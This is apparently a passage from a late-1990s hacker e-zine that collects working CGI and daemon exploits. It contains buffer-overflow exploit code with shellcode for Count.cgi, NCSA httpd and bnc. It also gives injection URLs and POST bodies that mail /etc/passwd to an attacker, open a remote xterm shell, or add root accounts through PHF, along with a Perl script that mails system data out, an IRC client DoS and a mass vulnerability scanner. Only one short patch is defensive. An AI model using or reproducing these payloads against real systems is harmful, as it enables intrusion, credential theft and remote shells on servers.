"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d\x5e\x18\x88\x46\x2c\x88\x46\x30" "\x88\x46\x39\x88\x46\x4b\x8d\x56\x20\x89\x16\x8d\x56\x2d\x89\x56" "\x04\x8d\x56\x31\x89\x56\x08\x8d\x56\x3a\x89\x56\x0c\x8d\x56\x10" "\x89\x46\x10\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xbf" "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" "/usr/X11R6/bin/xterm0-ut0-display0"; char endpad[]= "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"; int main (int argc, char *argv[]){ char *shellcode; int cnt,ver; unsigned long sp; int retcount; int dotquads[4]; int dispnum; char displaynamebuf[255]; sp = cnt = ver = 0; fprintf(stderr,"\tcounterterm - Gus\n"); if (argc<3) usage(argv[0]); while ((cnt = getopt(argc,argv,"d:v:")) != EOF) { switch(cnt){ case 'd': { retcount = sscanf(optarg, "%d.%d.%d.%d:%d", &dotquads[0], &dotquads[1], &dotquads[2], &dotquads[3], &dispnum); if (retcount != 5) usage(argv[0]); sprintf(displaynamebuf, "%03d.%03d.%03d.%03d:%01d", dotquads[0], dotquads[1], dotquads[2],dotquads[3], dispnum); shellcode=malloc(strlen((char *)optarg)+strlen(shell)+strlen(endpad)); sprintf(shellcode,"%s%s%s",shell,displaynamebuf,endpad); } break; case 'v': ver = atoi(optarg); printf("Ver is %d\n",ver); break; default: usage(argv[0]); break; } } sp = getsp(ver); (void)doit(sp,shellcode); exit(0); } unsigned long getsp(int ver) { /* Get the stack pointer we should be using. This is version specific, and, ** as with all buffer overruns is more of a pointer than a precise value. */ unsigned long sp=0; if (ver == 15) sp = 0xFFFFFF; if (ver == 20) sp = 0XFFFFFF; if (ver == 22) sp = 0xbfffa0b4; if (ver == 23) sp = 0xbfffee38; if (sp == 0) { fprintf(stderr,"That version is not vulnerable.\n"); exit(1); } else { fprintf(stderr,"\tUsing offset 0x%x\n",sp); return sp; } } int usage (char *name) { fprintf(stderr,"\tUsage:%s -d -v \n",name); fprintf(stderr,"\te.g. %s -d 127.0.0.1:0 -v 22\n",name); exit(1); } void doit (long sp, char *shellcode) { int cnt; char qs[7000]; char chain[] = "user=a"; for(cnt=0;cnt<4104;cnt+=4) { qs[cnt+0] = sp & 0x000000ff; qs[cnt+1] = (sp & 0x0000ff00) >> 8; qs[cnt+2] = (sp & 0x00ff0000) >> 16; qs[cnt+3] = (sp & 0xff000000) >> 24; } strcpy(qs,chain); qs[strlen(chain)]=0x90; qs[4104]= sp&0x000000ff; qs[4105]=(sp&0x0000ff00)>>8; qs[4106]=(sp&0x00ff0000)>>16; qs[4107]=(sp&0xff000000)>>24; qs[4108]= sp&0x000000ff; qs[4109]=(sp&0x0000ff00)>>8; qs[4110]=(sp&0x00ff0000)>>16; qs[4111]=(sp&0xff000000)>>24; qs[4112]= sp&0x000000ff; qs[4113]=(sp&0x0000ff00)>>8; qs[4114]=(sp&0x00ff0000)>>16; qs[4115]=(sp&0xff000000)>>24; qs[4116]= sp&0x000000ff; qs[4117]=(sp&0x0000ff00)>>8; qs[4118]=(sp&0x00ff0000)>>16; qs[4119]=(sp&0xff000000)>>24; qs[4120]= sp&0x000000ff; qs[4121]=(sp&0x0000ff00)>>8; qs[4122]=(sp&0x00ff0000)>>16; qs[4123]=(sp&0xff000000)>>24; qs[4124]= sp&0x000000ff; qs[4125]=(sp&0x0000ff00)>>8; qs[4126]=(sp&0x00ff0000)>>16; qs[4127]=(sp&0xff000000)>>24; qs[4128]= sp&0x000000ff; qs[4129]=(sp&0x0000ff00)>>8; qs[4130]=(sp&0x00ff0000)>>16; qs[4131]=(sp&0xff000000)>>24; strcpy((char*)&qs[4132],shellcode); fprintf(stderr,"GET /cgi-bin/counter?%s\n\n",qs); setenv("HTTP_USER_AGENT",qs,1); setenv("QUERY_STRING",qs,1); system("./Count.cgi"); } counter ~~~~~~~ Exploit: Mnemonix found following. A denial of service exists in counter.exe version 2.70, a fairly popular webhit counter used on the Win32 platform with web servers such as IIS and WebSite Pro. There are two different bugs: 1) When someone requests: http://no-such-server-really/scripts/counter.exe?%0A this will create an entry in counter.log of a blank line then a ",1" . If the person then refreshes their browser and requests it again you get an Access Violation in counter.exe - the instruction at 0x00414c0a referenced memory at 0x00000000. 2) When someone requests: http://no-such-server-really/scripts/counter.exe?AAAAAover-2200-As you get a similar problem - though not a buffer overrun. Whilst in a state of "hanging" all other vaild requests for counter are queued and not dealt with until someone goes to the console and okays the AV messages. Added to this memory can be consumed if the page is continuosly requested. excite ~~~~~~ Exploit: lynx www.host.com/cgi-bin/excite;IFS="$";/bin/cat /etc/passwd|mail your_email_here; faxsurvey ~~~~~~~~~ Exploit: http://lamer-host.org/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd All S.u.S.E. 5.1 and 5.2 Linux Dist. (and I think also older ones) with the HylaFAX package installed are vulnerable to this attack. finger ~~~~~~ Exploit: lynx http://www.host.com/cgi-bin/finger?@localhost handler ~~~~~~~ Exploit: telnet target.machine.com 80 GET /cgi-bin/handler/useless_shit;cat /etc/passwd|?data=Download HTTP/1.0 htmlscript ~~~~~~~~~~ Exploit: jaxx0r:/# lynx http://www.host.org/cgi-bin/htmlscript?../../../../etc/passwd root:x:0:1:Super-User:/export/home/root:/sbin/sh daemon:x:1:1::/: bin:x:2:2::/usr/bin: sys:x:3:3::/: adm:x:4:4:Admin:/var/adm: lp:x:71:8:Line Printer Admin:/usr/spool/lp: smtp:x:0:0:Mail Daemon User:/:/bin/false Dennis Moore (rainking@FEEDING.FRENZY.COM) info2www ~~~~~~~~ Exploit: $ REQUEST_METHOD=GET ./info2www '(../../../../../../../bin/mail jami perl-cgi ~~~~~~~~ #!/usr/bin/perl -w # ############################################################################## # latrodectus cyberneticus - probe web for insecure perl installations # tchrist@perl.com # version 1.0 Thu Mar 28 17:53:42 MST 1996 # # requires the LWP library fetchable from the CPAN multiplexor at # http://www.perl.com/cgi-bin/cpan_mod?module=LWP ############################################################################## require 5.002; use strict; use LWP::UserAgent; =head1 NAME latrodectus cyberneticus - probe web for insecure perl installations =head1 SYNOPSIS Via command line arguments: latro host1 //host2/bincgi //host3/bincgi/badperl or via STDIN: sed 's/ .*//' access_log | sort -u | latro =head1 DESCRIPTION B is designed to probe whether your site or sites you control have been compromised by the insanely idiotic practice of placing a perl executable in the cgi-bin. If you have ever seen anyone post a URL like http://dummy.org/cgi-bin/perl.exe?FMH.pl then you know they have the problem. This is pathetically pervasive amongst (horrifically mismanaged) sub-Unix web sites. =head1 USE AND MISUSE Robert Heinlein once wrote: "Stupidity cannot be cured with money or through education or by legislation. Stupidity is not a sin the victim can't help being stupid. But stupidity is the only universal capital crime; the sentence is death there is no appeal and execution is carried out automatically and without pity." Consider this program such execution -- or at least the threat thereof. You can do very evil things with this program. Very evil things. You can execute I on their site. Please don't do anything (too) wicked. When you find such sites please do the responsible and professional thing and mail their cluefully challenged webmaster about the problem. My goal with this program is to shake up the web a little bit now lest a I poison spider should someday rip it to shreds and blame perl. It's not perl's fault. It's the idiocy of the PC web sites -- and the vendors and docs that tell them to do this ineffably idiotic and evil thing. =head1 AUTHOR Tom Christiansen Last update: Thu Mar 28 17:53:42 MST 1996 =cut my $PROGNAME = "latrodectus cyberneticus"; my $VERSION = "1.0"; my $DEF_CGI_BIN = "/cgi-bin"; # should prolly both "perl" and "perl.com" as well as # the "perl.exe" thing. my $DEF_PERL_PATH = "/perl.exe"; my $PROGRAM = join qq===>; $| = 1; #use LWP::Debug qw(level); #level('+'); if (@ARGV) { for (@ARGV) { probe($_) } } elsif (!-t STDIN) { while () { chomp; probe($_); } } else { die "usage: $0 [site ...]\n"; } sub probe { my $site = shift; my $cgi_bin = ''; my $perl_path = ''; my $pre_site = ''; if ($site !~ m#/#) { $cgi_bin = $DEF_CGI_BIN; } if ($site !~ /perl/) { $perl_path = $DEF_PERL_PATH; } if ($site !~ m#^//#) { $pre_site = '//'; } my $ua = LWP::UserAgent->new(); $ua->agent("$PROGNAME v$VERSION"); my $full_targ = 'http:' . $pre_site . $site . $cgi_bin . $perl_path; printf "%-35s " $site; my $req = HTTP::Request->new( POST => $full_targ ); $req->content_type('application/x-www-form-urlencoded'); $req->content($PROGRAM); my $res = $ua->request($req); # check the outcome if ($res->is_success) { if ($res->content =~ /WWW Black Widow/) { print ">>\n"; } else { my $oops = $res->content; $oops =~ s/\n/ /g; print "APPREHENDED: $oops\n"; } } else { my $oops = $res->code . " " . $res->message; if ($res->code == 404) { print "SAFE: $oops"; } else { print "ERROR: $oops"; } print "\n" unless $oops =~ /\n$/; } } __END__ # Here begins the remote program. Whatsoever you place # within this code shall be executed on the foreign system # without checks without pity and without remorse. # # Play nicely. print ; print "If I were nasty you'd be spiderfood by now.\n"; print "\n\n\t--the black widow\n"; __END__ pfdisplay ~~~~~~~~~ Exploit: lynx -source \ 'http://victim.com/cgi-bin/pfdispaly.cgi?/../../../../etc/passwd' J.A. Gutierrez Classic PHF and variations ~~~~~~~~~~~~~~~~~~~~~~~~~~ These still work on many servers!! Exploit: ->View passwd file http://host.com/cgi-bin/phf?Qalias=%0A/bin/cat%20/etc/passwd ->List directory http://host.com/cgi-bin/phf?Qalias=x%0a/bin/ls%20/ ->Add a user account http://"server name"/cgi-bin/phf?Qalias=x%0a/bin/adduser%20dagashi%20dagashi%20100%20 ->Change UID to 0 on your account http://"server name"/cgi-bin/phf?Qalias=x%0a/bin/chuid%20dagashi%0 php ~~~ Exploit: lynx http://www.host.com/cgi-bin/php.cgi?/etc/passwd responder ~~~~~~~~~ Exploit: (nc is netcat from avian.org) $ echo "GET /cgi-bin/responder.cgi?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxx" | nc machttp-server.com 80 search97 ~~~~~~~~ Exploit: http://www.xxx.com/search97.vts ?HLNavigate=On&querytext=dcm &ServerKey=Primary &ResultTemplate=../../../../../../../etc/passwd &ResultStyle=simple &ResultCount=20 &collection=books "somecgi" ~~~~~~~~~ DoS/Exploit: telnet target.machine.com 80 GET /cgi-bin/somecgi.cgi?AAAAAAAAAAAAAAA... - John Daniele jdaniele@kpmg.ca test-cgi ~~~~~~~~ Exploit: hax0r:/# telnet www.blah.net 80 Trying 200.xx.xx.xx... Connected to www.blah.net Escape character is '^]'. GET /cgi-bin/test-cgi?* (postmaster@spbu.ru) Evgene Ilyine textcounter ~~~~~~~~~~~ #!/usr/bin/perl $URL='http://dtp.kappa.ro/a/test.shtml'; # please _DO_ _modify_ this $EMAIL='pdoru@pop3.kappa.ro,root'; # please _DO_ _modify_ this if ($ARGV[0]) { $CMD=$ARGV[0]; }else{ $CMD="(ps ax;cd ..;cd ..;cd ..;cd etc;cat hosts;set)\|mail ${EMAIL} -sanothere_one"; } $text="${URL}/;IFS=\8;${CMD};echo|"; $text =~ s/ /\$\{IFS\}/g; #print "$text\n"; system({"wget"} "wget", $text, "-O/dev/null"); system({"wget"} "wget", $text, "-O/dev/null"); #system({"lynx"} "lynx", $text); #system({"lynx"} "lynx", $text); # if you don't have "wget" # you can try with "Lynx" viewsource ~~~~~~~~~~ Exploit: 'http://www.host.com/cgi-bin/view-source?../../../../../../../etc/passwd' miniSQL ~~~~~~~ mini-sql v 2.0.10.1 Exploit: http://www.victim.org/cgi-bin/w3-msql/protected-dir/private-file note: in this case, the intruder will have to already know the structure of the directory. The second way: http://www.victim.org/cgi-bin/w3-msql/protected-dir/.htpasswd And then you use John The Ripper to decrypt the DES3 encrypted passwords. webcom cgi guestbook ~~~~~~~~~~~~~~~~~~~~ Exploit: jaxx0r:/# telnet www.xxxx.net 80 Trying 200.xx.xx.xx... Connected to venus.xxxx.net Escape character is '^]'. GET http://server/cgi-bin/wguest.exe?template=c:\boot.ini David Litchfield webdist ~~~~~~~ Exploit: http://www.host.org/webdist.cgi?distloc=;/usr/bin/X11/xterm%20-display%20hacker:0.0%20-ut%20-e%20/bin/sh webgais ~~~~~~~ Exploit: telnet target.machine.com 80 POST /cgi-bin/webgais HTTP/1.0 Content-length: 85 (replace 85 with length of the "exploit" line) query=';mail+your_addy\@your_isp.com< /etc/passwd;echo'&output=subject&domain=paragraph websend email ~~~~~~~~~~~~~ Exploit: telnet target.machine.com 80 POST /cgi-bin/websendmail HTTP/1.0 Content-length: 85 (replace 85 with length of the "exploit" line) receiver=;mail+your_address\@somewhere.org< /etc/passwd;&sender=a&rtnaddr=a&subject=a &content=a Don't worry if the server displays an error message. The password file is on the way :). webdist ~~~~~~~ Exploit: http://www.host.org/webdist.cgi?distloc=;/usr/bin/X11/xterm%20-display%20hacker:0.0%20-ut%20-e%20/bin/sh wrap ~~~~ Exploit: http://sgi.victim/cgi-bin/wrap?/../../../../../etc wwwboard ~~~~~~~~ #!/usr/bin/perl ################################################### # # WWWBoard Bomber Exploit Script # Written By: Samuel Sparling (sparling@slip.net) # # Written to exploit a flaw in the WWWBoard script # by Matt Wright. # # Copyright © 1998 Samuel Sparling # All Rights Reserved. # # Written 11-04-1998 ################################################### use Socket;# Tell perl to use the socket module # Change this if the server you're trying on uses a different port for http $port=80; print "WWWBoard Bomber Exploit Script\n\n"; print "WWWBoard.pl URL: "; $url=; chop($url) if $url =~ /\n$/; print "Name: "; $name=; chop($name) if $name =~ /\n$/; print "E-Mail: "; $email=; chop($email) if $email =~ /\n$/; print "Subject: "; $subject=; chop($subject) if $subject =~ /\n$/; print "Message: "; $message=; chop($message) if $message =~ /\n$/; print "Followup Value: "; $followup=; chop($followup) if $followup =~ /\n$/; print "Times to Post: "; $stop=; chop($stop) if $stop =~ /\n$/; # Chop the URL into peices to use for the actual posting $remote = $url; $remote =~ s/http\:\/\///g; $remote =~ s/\/([^>]|\n)*//g; $path = $url; $path =~ s/http\:\/\///g; $path =~ s/$remote//g; $forminfo = "name=$name&email=$email&followup=$followup&subject=$subject&body=$message"; $forminfo =~ s/\,/\%2C/g;# Turn comas into %2C so that they can be posted. $forminfo =~ tr/ /+/; $length = length($forminfo); $submit = "POST $path HTTP/1.0\r\nReferer: $url\r\nUser Agent: Mozilla/4.01 (Win95; I)\r\nContent-type: application/x-www-form-urlencoded\r\nContent-length: $length\r\n\r\n$forminfo\r\n"; $i=0; while($i < $stop) { &post_message; $i++; print "$i message(s) posted.\n"; } sub post_message { if ($port =~ /\D/) { $port = getservbyname($port, 'tcp'); } die("No port specified.") unless $port; $iaddr = inet_aton($remote) || die("Failed to find host: $remote"); $paddr = sockaddr_in($port, $iaddr); $proto = getprotobyname('tcp'); socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die("Failed to open socket: $!"); connect(SOCK, $paddr) || die("Unable to connect: $!"); send(SOCK,$submit,0); while() { #print $_;# Uncomment for debugging if you have problems. } close(SOCK); } exit; Below is the patch, all it does is check to make sure that the same followup number is not used more than once in the followups form field. In the get_variables subroutine replace this: if ($FORM{'followup'}) { $followup = "1"; @followup_num = split(/,/,$FORM{'followup'}); $num_followups = @followups = @followup_num; $last_message = pop(@followups); $origdate = "$FORM{'origdate'}"; $origname = "$FORM{'origname'}"; $origsubject = "$FORM{'origsubject'}"; } with this: if ($FORM{'followup'}) { $followup = "1"; @followup_num = split(/,/,$FORM{'followup'}); $num_followups = @followups = @followup_num; $last_message = pop(@followups); $origdate = "$FORM{'origdate'}"; $origname = "$FORM{'origname'}"; $origsubject = "$FORM{'origsubject'}"; # WWWBoard Bomb Patch # Written By: Samuel Sparling (sparling@slip.net) $fn=0; while($fn < $num_followups) { $cur_fup = @followups[$fn]; $dfn=0; foreach $fm(@followups) { if(@followups[$dfn] == @followups[$fn] && $dfn != $fn) { &error(board_bomb); } $dfn++; } $fn++; } # End WWWBoard Bomb Patch } wwwsql ~~~~~~ Exploit: http://your.server/cgi-bin/www-sql/protected/something.html you get the requested file Christophe Leroy HTTPD exploit ~~~~~~~~~~~~~ /* * NCSA 1.3 Linux/intel remote xploit by savage@apostols.org 1997-April-23 * * Special THANKS to: b0fh,|r00t,eepr0m,moxx,Fr4wd,Kore,EDevil and the rest of ToXyn !!! * * usage: * $ (hackttpd 0; cat) | nc victim 143 * | * +--> usually from -1000 to 1000 (try steeps of 100) */ #include unsigned char shell[] = { '/',0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0xeb,0x27,0x5e,0x31,0xed,0x31,0xc9,0x31,0xc0,0x88,0x6e,6,0x89,0xf3,0x89,0x76, 0x24,0x89,0x6e,0x28,0x8d,0x6e,0x24,0x89,0xe9,0x8d,0x6e,0x28,0x89,0xea,0xb0,0x0b, 0xcd,0x80,0x31,0xdb,0x89,0xd8,0x40,0xcd,0x80,0xe8,0xd4,0xff,0xff,0xff, 'b','i','n','/','s','h' }; char username[256+8]; void main(int argc, char *argv[]) { int i,a; long val; if(argc>1) a=atoi(argv[1]); else a=0; strcpy(username,shell); for(i=strlen(shell);i> 8; username[i+2] = (val & 0x00ff0000) >> 16; username[i+3] = (val & 0xff000000) >> 24; } username[ sizeof(username) ] = 0; printf("GET %s\n/bin/bash -i 2>&1;\n", username); } @HWA 36.0 KeyRoot XiRCON DoS advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~ ____ ______ __ ___ _____ ____ __________ / / / ___/ \ \/ / / \ / \ ____ /___ ___/ / /__ / /__ \ / / <> / / __ \ / \ / / / ___/ / __/ / / / _/ \ / / __ \ / / / \ / /__ / / / /\ \ \____/ \ / \ \ /__/\__\ \_____/ /__/ \_/ \__\ \____/ \__\ Proudly Presents: A Denial of Service Attack Against the XiRCON IRC Client Discovered by Wyzewun [w1@antioffline.com] Copyright KeyRoot Systems, 199... Aah, hell, Take it. :P Ehehehe, this is appearing for the first time to the public right here in HWA.hax0r.news - yeap, I know I should save stuff for my *own* zine, but wtf, who cares? It's all so lame anywayz. :P I've noticed that XiRCON doesn't seem to be very fussy about what it gets in CTCP requests (it answers VERSION requests even if they are requesting VERSION-OF-YER-ANAL-P0RT or whatever.) So, I began to wonder what XiRCON would think if I decided to do something to the effect of... /ctcp luzer (On Victim's Side) *** ERROR: Line length exceeded *** :wyze1!wyze1@loves.to.idle.za.org PRIVMSG luzer :If-I-was-a-lame-DoS-Kiddy -then-who-would-I-DoS-Hmmmmmmmmmmmmmmmm-I-Know!-Id-Find-Some-Clueless-Bastich- Running-some-or-other-dumb-Windoze-IRC-Client-and-Id-make-his-life-a-misery!Ya aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaayyyy!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! *** Disconnected from irc.idle.net (On Attackers Side) .cRk. [Signoff/luzer(#XiRCON)] (Winsock Error 0) Hmmm, seems like our dear XiRCON user decided to retire from IRC earlier than usual today. =) Ehehe, I tested this on version 1.0B4, but I have no doubt that it will work on all prior versions just fine. Note that this bug can be used on entire channels. The original test-drive occured on all of #XiRCON itself and the results were quite spectacular. :P Also, be sure not to bother sending *too* many garbage characters, as sending too many and thus reaching your Max I/O on that server will get you killed. However, the amount of garbage necessary to kill XiRCON is well below the Max I/O for all IRC daemons I have seen. So have fun! :) Shout outz to: Pneuma, Vortexia, Mnemonic, icesk, NtWaK0, Moe1, Cruciphux, egodeath, Timewiz, jus, f0bic, CoLdBLood, and everyone in #!krs, #overflo, #b4b0, #legions and #hwa.hax0r.news - I feel for y'all. :> And extra special shoutz to Mark Hanson: the maker of XiRCON - great client - just keep on bashing those bugs out of it. :) Fuck Youz fly out to anyone who thinks that defacing webpages or denial of service is elite - y'all can suck my dick. :-/ Cheers, Wyzewun [KRS] --==--==--==--==--==-->> w1@antioffline.com www.posthuman.za.net @HWA 37.0 BNC cracker, bust BNC's ~~~~~~~~~~~~~~~~~~~~~~~ /* Remote exploit example for bnc (Irc Proxy v2.2.4 by James Seter) by duke (duke@viper.net.au) 32sep98 FreeBSD version by stran9er */ #include #include #include #define ADDR 0xefbfd907 #define RETPTR 1036 #define BUFSIZE 1041 #define SHELLOFFSET 23 char shellcode[] = /* added by me dup(0);dup(0) */ "\xEB\x0B\\\x9Axxx\\\x07x\xC3\xEB\x05\xE8\xF9\377\377\377" "\x5E\x33\xDb\x89\x5e\xF2\x88\x5e\xF7\x31\xC0\xB0\x29\x53" "\xE8\xDE\xFF\xFF\xFF\x33\xC0\xB0\x29\xE8\xD5\xFF\xFF\xFF" /* generic shellcode */ "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; void main (int argc, char **argv) { char buf[BUFSIZE+5]; unsigned long int addr = ADDR; int i; if (argc > 1) addr += atoi (argv[1]); fprintf (stderr, "Using address: 0x%X\n", addr); memset (buf, 0x90, BUFSIZE); for (i = RETPTR; i < BUFSIZE - 4; i += 4) *(long *) &buf[i] = addr; memcpy (buf + (RETPTR - sizeof(shellcode)) - SHELLOFFSET, shellcode, strlen (shellcode)); buf[BUFSIZE]=0; printf ("%s/usr/bin/uname -a\n/usr/bin/id\n/bin/pwd\n", buf); } 'vanity version' ~~~~~~~~~~~~~~~~ /* Remote exploit example for bnc (Irc Proxy v2.2.4 by James Seter) by duke (duke@viper.net.au) 32sep98 FreeBSD version by stran9er Greet to !@$@$A#%$#@!D%$#@!$#M@%%$@%c$!@$#!r!%$@e@$!#$#%w$@#$@#!!!#@$#$% */ #include #include #include #define ADDR 0xefbfd907 #define RETPTR 1036 #define BUFSIZE 1041 #define SHELLOFFSET 23 char shellcode[] = /* added by me dup(0);dup(0) */ "\xEB\x0B\\\x9Axxx\\\x07x\xC3\xEB\x05\xE8\xF9\377\377\377" "\x5E\x33\xDb\x89\x5e\xF2\x88\x5e\xF7\x31\xC0\xB0\x29\x53" "\xE8\xDE\xFF\xFF\xFF\x33\xC0\xB0\x29\xE8\xD5\xFF\xFF\xFF" /* generic shellcode */ "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; void main (int argc, char **argv) { char buf[BUFSIZE+5]; unsigned long int addr = ADDR; int i; if (argc > 1) addr += atoi (argv[1]); fprintf (stderr, "Using address: 0x%X\n", addr); memset (buf, 0x90, BUFSIZE); for (i = RETPTR; i < BUFSIZE - 4; i += 4) *(long *) &buf[i] = addr; memcpy (buf + (RETPTR - sizeof(shellcode)) - SHELLOFFSET, shellcode, strlen (shellcode)); buf[BUFSIZE]=0; printf ("%s/usr/bin/uname -a\n/usr/bin/id\n/bin/pwd\n", buf); } @HWA 38.0 Twstdpair's file grabber for 4dos w/netcat [HWA] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ grabber.btm is a 4dos batch file, if you're not using 4dos then you should be. It beats the crap out of MSDOS and since even with Winblows you often need to return to 'shell' for some stuff 4dos makes it oh so much easier. Try it. -----/snip/------ rem grabber.btm rem written by Twstdpair [HWA] rem greets to #hwa.hax0r.news ppl setlocal set URL=www.csoft.net set start=1 set end=37 rem get first 37 issues of HWA,hax0r.news for /l %loop in (%start,1,%end) do ( set rmtfile=/~hwa/HWA-hn%loop%.zip set locfile=HWA-hn%loop%.zip echo grabbing %URL%%rmtfile% to %locfile%... echo GET %rmtfile | nc %URL 80 > %locfile ) endlocal -----/snip/------ @HWA 39.0 SeeGeeEye exploit scanner by KeyRoot ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ NOTE: A class file is needed with this JAVA, which should be included in your .zip version of this newsletter. /* ____ ______ __ ___ _____ ____ __________ * / / / ___/ \ \/ / / \ / \ ____ /___ ___/ * / /__ / /__ \ / / <> / / __ \ / \ / / * / ___/ / __/ / / / _/ \ / / __ \ / / * / \ / /__ / / / /\ \ \____/ \ / \ \ * /__/\__\ \_____/ /__/ \_/ \__\ \____/ \__\ * * Proudly Presents: SeeGeeEye.java v1.3 * Coded by: Wyzewun [w1@macroshaft.org] * * Performs mass auditing for 94 CGI Related Vulnerabilities - Ouch =D * * Apologies for 1.2 being such a buggy release -- but I did the whole thing * while tripping so it was pretty fucked up. :P Ehe, anyway, this new version * is 100% bug-free as far as I know. ;) Yah, despite me ending up re-coding * it while tripping *again* - it works great. And at that, much better than * 99% of any other scanners available. :P * * Shout outz to: Pneuma, Vortexia, Mnemonic, icesk, NtWaK0, Moe1, Cruciphux, * egodeath, Timewiz, jus, f0bic, CoLdBLood and everyone in #!krs, #overflo, * #b4b0, #legions and #hwa.hax0r.news on EFNet - Keep it Real peepz. :) * * And disses go out to the usual: Every dumb defacement crew that plagues our * earth, Every luzer that thinks Denial of Service is elite, and everybody * who has never experienced the joys of MDMA. :> * * Compilation... * javac SeeGeeEye.java * * Syntax without Proxy support... * java SeeGeeEye list.txt * * Syntax with Proxy support... * java -Dhttp.proxyHost=proxy -Dhttp.proxyPort=port SeeGeeEye list.txt * */ import java.io.*; import java.net.*; public class SeeGeeEye { public static void main(String[] args) throws IOException { if (args.length != 1) { System.out.println("Syntax: java SeeGeeEye [list-of-hosts]"); System.exit(1); } URL bastich; String victim; String response; boolean bother; BufferedReader een = null; DataInputStream heh = new DataInputStream(new FileInputStream(args[0])); /* These are the vulnerabilities the proggy checks for. It's fine to put your own strings in here - nothing will break. :) */ String[] vulns = { "cgi-bin/phf", "cgi-bin/php.cgi", "cgi-bin/campas", "cgi-bin/htmlscript", "cgi-bin/aglimpse", "cgi-bin/websendmail", "cgi-bin/info2www", "cgi-bin/pfdispaly.cgi", "scripts/convert.bas", "cgi-bin/webdist.cgi", "cgi-bin/Count.cgi", "cgi-bin/webgais", "_vti_pvt/service.pwd", "cgi-bin/test-cgi", "cgi-bin/handler", "cgi-bin/cachemgr.cgi", "_vti_pvt/administrators.pwd", "_vti_pvt/users.pwd", "_vti_pvt/authors.pwd", "cgi-bin/pfdisplay", "cgi-bin/pfdisplay.cgi", "cgi-bin/perl.exe", "cgi-bin/wwwboard.pl", "cgi-bin/www-sql", "cgi-bin/man.sh", "cgi-bin/view-source", "cgi-bin/nph-test-cgi", "cgi-bin/nph-publish", "cgi-bin/wrap", "cgi-bin/textcounter.pl", "cgi-bin/environ.cgi", "cgi-bin/query", "cgi-bin/rpm_query", "cfdocs/expeval/openfile.cfm", "cfdocs/expelval/openfile.cfm", "cfdocs/expeval/displayopenedfile.cfm", "cfdocs/expeval/exprcalc.cfm", "cgi-bin/finger", "cgi-bin/bnbform.cgi", 